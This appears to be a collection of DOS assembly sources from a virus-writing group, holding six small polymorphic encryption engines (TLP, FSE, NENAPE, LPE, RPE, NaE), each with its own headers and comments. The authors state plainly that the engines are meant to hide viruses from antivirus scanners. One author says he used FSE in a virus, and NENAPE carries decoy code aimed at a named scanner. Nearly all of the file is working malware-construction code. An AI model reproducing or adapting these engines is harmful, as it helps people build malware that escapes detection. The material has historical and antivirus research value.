哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[tlp2.asm]哪
;****************************************************************************
;  TLP - Tiny Lame Poly Engine V2.0 by Dark Cobra
;  Note: This engine is not intended to be useful, but rather interesting.
;	 That's why I made it small and useless ;)
;
;  Thanks go to Darkman for pointing out an obvious optimization which I had
;  accidently overseen while thinking about the difficult parts of this. His
;  hint saved me one more byte, which is significant in such a short engine.
;
;  Now, the engine is only 48 bytes small! :)
;
;  Greatings to (in no specific order): GriYo, Darkman, VirusBuster, B0z0,
;  StarZero, Super, Yesna, Serialkiller, Reptile
;
;
;****************************************************************************

.MODEL TPASCAL
P386
LOCALS @@
.CODE
  ASSUME CS: CODE, DS: CODE, ES: CODE, SS: CODE
  ORG 100H
EntryPoint:
;    mov di, offset EntryPoint
;    db 11 dup (90h)

;****************************************************************************
;  in:	ES:DI = pointer to buffer for new decryptor
;	SI = begin of code to be decrypted
;	DX = end of code to be decrypted
;  out: ES:DI = new decryptor
;****************************************************************************

;The engine generates a decryptor of the following (general) form:

;mov r1, code_begin    b8+r1 code_begin        (1)
;crypt:
;xor [r1], xor_key     80 01110r1 00	       (2)
;inc r1 	       40+r1		       (3)
;cmp r1, code_end      81 01111r1 code_end     (4)
;jnz crypt	       75 crypt - $	       (5)


;SI: 0 --> 6   00 --> 110   +6	XOR 110
;DI: 1 --> 7   01 --> 111   +6	XOR 110
;BP: 2 --> 5   10 --> 101   +3	XOR 110
;BX: 3 --> 3   11 --> 011   +0	XXXXXXX

	xor ax, ax
	in al, 40h
	and al, 3
	push ax
	jnp short @@2
	jnz short @@1
@@2:	xor al, 6
@@1:
	add al, 0b8h
	stosb
	xchg ax, si
	stosw

	pop ax
	add ax, 8074h
	xchg al, ah
	stosw
	in al, 40h
	shl ax, 8
	stosw

	xchg ax, si
	sub al, (0b8h - 40h)
	stosb

	add ax, (81f8h - 40h)
	xchg al, ah
	stosw
	xchg ax, dx
	stosw

	mov ax, 0f575h
	stosw

	ret

END EntryPoint

哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[tlp2.asm]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫fse.asm]哪
;=====( Fucking Small Engine - by Rajaat / 29A )===============================
;
; Type     : Polymorphic Engine
; Comments : This polymorphic engine is very easy to detect, since uses no
;            random trash code or anything else to complicate detecting the
;            decryptor itself, but this is made to see how you could defeat
;            scanners that still use the (in my opinion obsolete) XRAY
;            technique to detect encrypted viruses. FSE uses 8-15
;            different operations on each byte, making it virtually
;            impossible to do a cryptanalytic attack.
;
;            Operands used by FSE to encrypt code:
;            XOR   SUB   ADD   ROL   ROR   NOT   NEG   INC   DEC
;
;            Registers used by FSE as pointer:
;            BX    SI    DI
;
;            Registers used by FSE as counter:
;            AX    BX    CX    DX    SI    DI    BP
;
;=====( Fucking Small Engine - by Rajaat )=====================================
;
; DS:SI = code to encrypt
; ES:DI = place for encrypted code + decryptor
; CX    = code length to encrypt
; AX    = offset in target
;
;==============================================================================
.model tiny
.code
.radix 16

public C fse                                    ; yes, I used it in my Borland
                                                ; C virus :-D

fse             proc C                          ; fse()

                push bp                         ; preserve BP

                call get_offset                 ; get delta offset (in case you
get_offset:     pop bp                          ; are making a direct action
                sub bp,offset get_offset        ; infector)

                push di es                      ; save some registers I need
                push si                         ; later on
                push cx                         ;
                push ax                         ;
                push di                         ;
                push di                         ;
                cld                             ;

                push es                         ; clear encrypt code buffer
                push cs                         ; (there was a bug in here when
                pop es                          ; this source was on my home
                lea si,end_sequencer[bp]        ; page, it ES != CS it would
                lea di,enc_sequencer[bp]        ; make incorrect encryptions)
                mov al,90                       ;
                push cx                         ;
                mov cx,len_sequencer            ;
                rep stosb                       ;
                pop cx                          ;

                pop es                          ;
                pop di                          ;

                mov ax,1f0e                     ; write PUSH CS / POP DS
                stosw                           ; sequence (wow, fixed code)

bad_registers:  call rnd_get
                and ax,0707
                cmp ah,al                       ; pointer & counter can't be
                je bad_registers                ; the same register
                cmp al,4                        ; don't use SP!
                je bad_registers
                cmp ah,03                       ; BX is pointer register
                je good_pointer
                cmp ah,6                        ; or else FSE uses SI or DI as
                jb bad_registers                ; index register
good_pointer:   push ax
                sub ah,6
                cmp ah,08
                jb convert_ok
                mov ah,3
convert_ok:     mov byte ptr cs:pointer_reg[bp],ah
                pop ax
                add ax,0b8b8
                push ax
                call rnd_get
                mov bx,1
                inc ax
                pop ax
                jns dont_flip
                xchg ah,al
                xchg bh,bl
dont_flip:      stosb
                mov dx,di
                test bl,1
                push ax
                jz no_counter
                call rnd_get
                and ax,1ff
                add ax,cx
no_counter:     stosw
                pop ax
                xchg ah,al
                stosb
                push ax bx
                test bl,1
                jnz is_counter
                and ax,1ff
                add ax,cx
                jmp store
is_counter:     mov dx,di
store:          stosw
                mov cx,di
                push cx

                call rnd_get
                mov cx,ax
                and cx,7
                add cx,7

encrypt_actions:

                call rnd_get
no_more_than_8: and ax,1f
                sub ax,8
                cmp ax,8
                ja no_more_than_8
                shl ax,1
                mov bx,ax
                add bx,bp
                mov ax,word ptr cs:enc_opers[bx]
                test ah,80
                jnz no_xor_add_sub
                mov ah,80
                add al,byte ptr cs:pointer_reg[bp]
                xchg ah,al
                stosw
                call rnd_get
                stosb
                jmp xor_add_sub
no_xor_add_sub: sub ah,0bc
                add ah,byte ptr cs:pointer_reg[bp]
no_bx:          stosw
xor_add_sub:    mov bx,word ptr cs:dec_opers[bx]
                cmp bh,0
                jne no_xas
                mov bh,al
no_xas:         mov word ptr cs:[si],bx
                dec si
                dec si

                loop encrypt_actions

                pop cx

                ;=== inc/dec pointer and counter
                pop bx ax
                test bl,1
                jnz pointer_first
                xchg ah,al
pointer_first:  sub ax,7078
                stosb
                push ax
                pop ax
                xchg ah,al
                stosb
                ;=== building repeat loop
                cmp al,49
                mov al,75
                jnz no_loop
                dec di
                mov al,0e2
no_loop:        stosb
                sub cx,di
                dec cx
                xchg ax,cx
                stosb

                xchg bx,dx
                mov dx,di
                pop ax
                sub dx,ax
                pop ax
                add dx,ax
                mov word ptr es:[bx],dx
                pop cx
                ;=== encrypt code
                pop si
encrypt_loop:   lodsb
                call enc_sequencer
                stosb
                loop encrypt_loop
                mov cx,di
                pop ds dx
                sub cx,dx
                pop bp
                ret

rnd_get:        in al,40
                xchg ah,al
                in al,41
                xor al,ah
                ret

                ;  XOR   SUB   ADD   ROL   ROR   NOT   NEG   INC   DEC
enc_opers       dw 00034,0002c,00004,0c0d0,0c8d0,0d0f6,0d8f6,0c0fe,0c8fe
dec_opers       dw 00034,00004,0002c,0c8d0,0c0d0,0d0f6,0d8f6,0c8fe,0c0fe

fse_signature   db '[ FSE 1.0 by Rajaat / 29A ]',0

enc_sequencer:  dw 18 dup (9090)
end_sequencer   equ $-2
len_sequencer   equ $-enc_sequencer
                ret
pointer_reg     db 0

fse             endp

end
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫fse.asm]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[nenape.asm]哪
;=====( Not Even Near A Polymorphic Engine )===================================
;
; By Rajaat
;
; The reason i wrote NENAPE was that I didn't have an engine yet that I easily
; call multiple times to generate more than one layer of encrytion. At
; the moment the encryption method is very bad, but I will hope to
; improve this soon, together with the code it generates. The main thing
; is that the encryptor is build up perfectly and that the code is
; compact yet modular.
;
; NENAPE
;
; CLEAN 	  = 1		; 111 bytes
;
;==============================================================================
;
; Note: I've got to extend the random opcode generator ofcourse, but you'll
; see the point I have here, i don't need much register preserving, this
; allowing me to do more shitty opcodes and obscure interrupts, making it look
; like a legitimate program ;-)
;
; And eh.... I'll promise I'll comment it ;-) Doh!
;

.model tiny
.code
.radix 16

		org 100
main:

IFNDEF CLEAN
		call get_delta
get_delta:	pop bp
		sub bp,offset get_delta
		mov ax,3c00
		xor cx,cx
		lea dx,fnam[bp]
		int 21
		xchg ax,bx
		push bx
		lea bx,main[bp]
		lea di,virus_end[bp]
		mov ax,virus_bytes
		call nenape
		mov di,dx
		add di,cx
		mov bx,dx
		xchg ax,cx
		call nenape

		pop bx
		mov ah,40
		int 21
		mov ah,3e
		int 21
		mov ax,4c00
		int 21
fnam		db 'V.COM',0

; Here some shit that flags tbscan like hell ;-)

		mov ax,0aace
		int 21
		cmp ax,0b00c
		mov ax,100
		jmp ax
		int 12
		dec ax
		mov word ptr ds:[413],ax
		cmp ax,4b00
		jne $+2
		mov ax,4301
		int 21
		mov ax,5701
		int 21
		cmp ax,'MZ'
		cmp ax,'ZM'
		db '*.COM',0

ENDIF

;=====( Not Even Near A Polymorphic Engine )===================================
;
; Input:	DS:BX	= code to encrypt
;		ES:DI	= place to put encrypted code + decryptor
;		AX	= length of code to encrypt
;
; Output:	DS:DX	= encrypted code + decryptor
;		CX	= length of encrypted code + decryptor
;
;==============================================================================

;		     +6 +4 +2 +0
nenape: 	push ax bx si di
		cli
		call nenape_delta
nenape_delta:	pop si
		sub si,offset nenape_delta
		mov bx,sp
		mov word ptr decode_length[si],ax
		in al,40
		mov byte ptr value[si],al
		lea si,decryptor[si]
		mov cx,decryptor_bytes / 2
create_decrypt: cld
		in al,40
		and al,7
		test al,4
		jnz create_decrypt

		; Extend this

		mov dl,al
		mov al,0b8
		add al,dl
		stosb
		lodsw
		push ax
		stosw
		mov al,50
		add al,dl
		stosb
		loop create_decrypt

		movsw
		mov si,word ptr [bx+4]
		mov cx,word ptr [bx+6]
		push di
		rep movsb
		pop si
		mov dx,word ptr [bx+0]
		sub di,dx
		mov bx,sp
		add bx,7
		call bx
		mov cx,di
		add sp,decryptor_bytes
		sti
		pop di si bx ax
		ret

; Image of below remarked code pushed wordwise backwards (my personal horror)

decryptor:	dw 052c3h
		dw 0fae2h
value		dw 04600h
		dw 03480h
decode_length	dw 01000h
		dw 0b91fh
		dw 00e56h
		dw 05e41h
		dw 03932h

;decryptor:	 db '29A'               ; hidden signature ;-)
;		 pop si
;		 push si
;encrypt:	 push cs
;		 pop ds
;		 mov cx,10
;decode_length	 equ $-2
;continue:	 xor byte ptr [si],0
;value		 equ $-1
;		 inc si
;		 loop continue
;		 ret
;		 db 'R'                 ; hidden signature :-D

decryptor_bytes equ $-decryptor

		call sp

nenape_bytes	equ $-nenape

virus_end	equ $
virus_bytes	equ virus_end-main

end main
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[nenape.asm]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫lpe.asm]哪
.model tiny
.code
.radix 16
.286

; CLEAN           = 1           ; remove ; in order to remove example code



                org 100

main:

;=====( Little example code that shows how to use the LPE )====================
;
; Since it is hardly interesting I left most of it uncommented, the LPE is the
; working horse in this source.
;
;==============================================================================

IFNDEF          CLEAN

                call get_delta
filename        db 'LPE.COM',0
get_delta:      pop si
                sub si,offset filename
                mov ax,03d02
                lea dx,filename[si]
                int 21
                push ax
                lea si,end_lpe[si]              ; parameter settings
                mov di,1000                     ; for lpe are done
                mov cx,virus_words              ; here. look at lpe header
                call lpe                        ; for the info
                mov ah,40
                pop bx
                int 21
                mov ah,3e
                int 21
                mov ah,4c
                int 21
ENDIF

;=====( Ludicrous Poly Engine by Rajaat / 29A )================================
;
; DS:SI = offset end of virus - 2
; ES:DI = place where to put encrypted code + decryptor
; CX    = virus size in (words / 2)
; Pad your virus to an even amount of bytes, please (OR YOUR CODE DIES!!!)
;
; Returns:
; ES:DX = encrypted code+decryptor
; CX    = length of encrypted code+decryptor
; All other registers might be trashed
;
; Don't forget to eventually restore the stack to it's original location before
; returning to the host, some unpredictable things might happen if you don't.
;
;=====( Why I wrote this load of crap? )=======================================
;
; Cyberyoda on #virus on undernet has started a contest to write a small virus
; in 150 bytes, and the most effective virus wins. This engine is only 50 bytes
; and generates very polymorphic code in respect to its size.
;
;==============================================================================

lpe:            push di                 ; store destination
repeat_lpe:     db 0d6h                 ; assume carry clear, so AL = 0
                out 43,al               ; init randomizer
                in al,40                ; get random number
                and al,7                ; save only low nibble
                or al,0b8               ; add 0b8, gets in MOV <reg>,<value>
                cmp al,0bc              ; is it 0bc (SP register)
                je repeat_lpe           ; yes, not desirable - get another reg
                stosb                   ; store opcode
                push ax                 ;
                push ax                 ;
                in ax,40                ; get semi-random value
                stosw                   ; store word
                xchg ax,bx
                mov al,81               ; xor <reg>,<word xor value>
                stosb                   ; store opcode
                pop ax                  ;
                add al,38               ; get register
                stosb                   ; store register
                std
                lodsw                   ; get word (backwards)
                cld
                xor ax,bx               ; xor word with value
                stosw                   ; store after xor opcode
                pop ax
                sub al,068              ; push <reg>
                stosb                   ; store opcode
                loop repeat_lpe         ; repeat until all words dont
                mov ax,0e4ff            ; jmp sp
                stosw                   ; store opcode
                xchg cx,di
                pop dx                  ; get destination offset
                sub cx,dx               ; calculate length
                ret

end_lpe         equ $

;==============================================================================

virus_bytes     equ $-main
virus_words     equ (virus_bytes shr 1) + 1

end main

哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫lpe.asm]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫rpe.asm]哪
;
; I owe thanks to Dr. Dope for the 1 byte optimization.
;
.model tiny
.code
.radix 16

.386

		org 100

;=====( RPE - Rajaats Push Engine )============================================
;
; Minor version of LPE, redone and optimized, done by Rajaat / 29A as joke.
;
; Input :  DS:SI = virus code end - 2
;	   ES:DI = pushorized virus
;	   CX	 = virus bytes / 2
; Output : ES:DX = pushorized virus (ES!!!)
;	   CX	 = pushorized virus length
;
; Align virus size to a word boundary, and leave some stack for the host.
;
;==============================================================================

rpe:		mov dx,di		; for ES:DX return parameter
rpe_loop:	in al,40		; get "random" byte
		and al,7		; make it range 0-7
		add al,0B8		; make mov <reg>
		cmp al,0BC		; BC = SP register, which we can't use
		je rpe_loop		; so we have to get another number
		stosb			; store opcode
		movsw			; add some code (in reverse order)
		sub si,4		; si -= 4 (easier than cld/std shit)
		sub al,(0B8-50) 	; get push <reg>
		stosb			; store it
		loop rpe_loop		; repeat until whole virus done
		mov ax,0e4ff		; get jmp sp opcode
		stosw			; store it
		sub di,dx		; calculate new length
		xchg cx,di		; and present it in cx
		ret			; done (31 bytes)

end rpe
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫rpe.asm]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫nae.asm]哪
comment *
		     Nearly an Engine v 2.00 [NaE]

		 Calling parameters:
		   DL	  One byte garbage instruction
		   CX	  Length of original code
		   BP	  Decryptor's offset
		   DS:SI  Pointer to original code
		   ES:DI  Pointer to decryptor + encrypted code

		 Return parameters:
		   CX	  Length of decryptor + encrypted code

  Garbage instructions:
    User defined.

  Nearly an Engine v 2.00 [NaE] decryptor:
    Zero to two hundred and fifty-five garbage instruction(s).
    MOV DI,imm16				    (Offset of encrypted code)
    MOV CX,imm16				    (Length of encrypted code)
    XOR CS:[DI],imm8					      (Decryption key)
    INC DI
    LOOP imm8				       (Beginning of XOR CS:[DI],imm8)

  Min. decryptor size:		       13 bytes.
  Max. decryptor size:		      268 bytes.
  Nearly an Engine v 2.00 [NaE] size:  58 bytes (excl. ' [NaE] ').
*

nae_begin    equ     $			 ; Begining of Nearly an Engine v 2...

nae_poly     proc    near		 ; Nearly an Engine v 2.00 [NaE]
	     push    si cx		 ; Save registers at stack

	     lea     si,cryptor 	 ; SI = offset of cryptor

	     mov     [si+(crypt_length-cryptor)],cx

	     in      al,40h		 ; AL = encryption/decryption key
	     mov     [si+(crypt_key-cryptor)],al

	     xor     ax,ax		 ; Zero AX
	     in      al,40h		 ; AL = number of garbage instructi...

	     push    ax 		 ; Save AX at stack
	     xchg    ax,cx		 ; CX = number of garbage instructi...
	     xchg    ax,dx		 ; AL = garbage instruction
	     rep     stosb		 ; Generate random number of garbag...
	     pop     ax 		 ; Load AX from stack

	     mov     cl,(cryptor_end-cryptor)
	     add     ax,cx		 ; AX = length of decryptor
	     add     bp,ax		 ; BP = offset of plain/encrypted c...
	     mov     [si+(crypt_offset-cryptor)],bp

	     rep     movsb		 ; Move the decryptor above the gar...
	     pop     cx si		 ; Load registers from stack

	     push    di 		 ; Save DI at stack
	     rep     movsb		 ; Move the plain code above the de...
	     pop     di 		 ; Load DI from stack

	     db      00111010b		 ; CMP BH,[BP+imm16] (opcode 3ah)
cryptor:
crypt_offset equ     word ptr $+01h	 ; Offset of plain/encrypted code
	     mov     di,00h		 ; DI = offset of plain/encrypted code
crypt_length equ     word ptr $+01h	 ; Length of plain/encrypted code
	     mov     cx,00h		 ; CX = length of plain/encrypted code
crypt_loop:
crypt_key    equ     byte ptr $+03h	 ; Encryption/decryption key
	     xor     byte ptr cs:[di],00h
	     inc     di 		 ; Increase index register
	     loop    crypt_loop
cryptor_end:
	     xchg    ax,cx		 ; CX = length of decryptor
	     add     cx,dx		 ; CX = length of decryptor + encry...

	     ret			 ; Return!
	     endp

engine_name  db      ' [NaE] '           ; Name of the engine

nae_end      equ     $			 ; End of Nearly an Engine v 2.00 [...
nae_size     equ     $-nae_begin	 ; Size of Nearly an Engine v 2.00 ...
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫nae.asm]哪
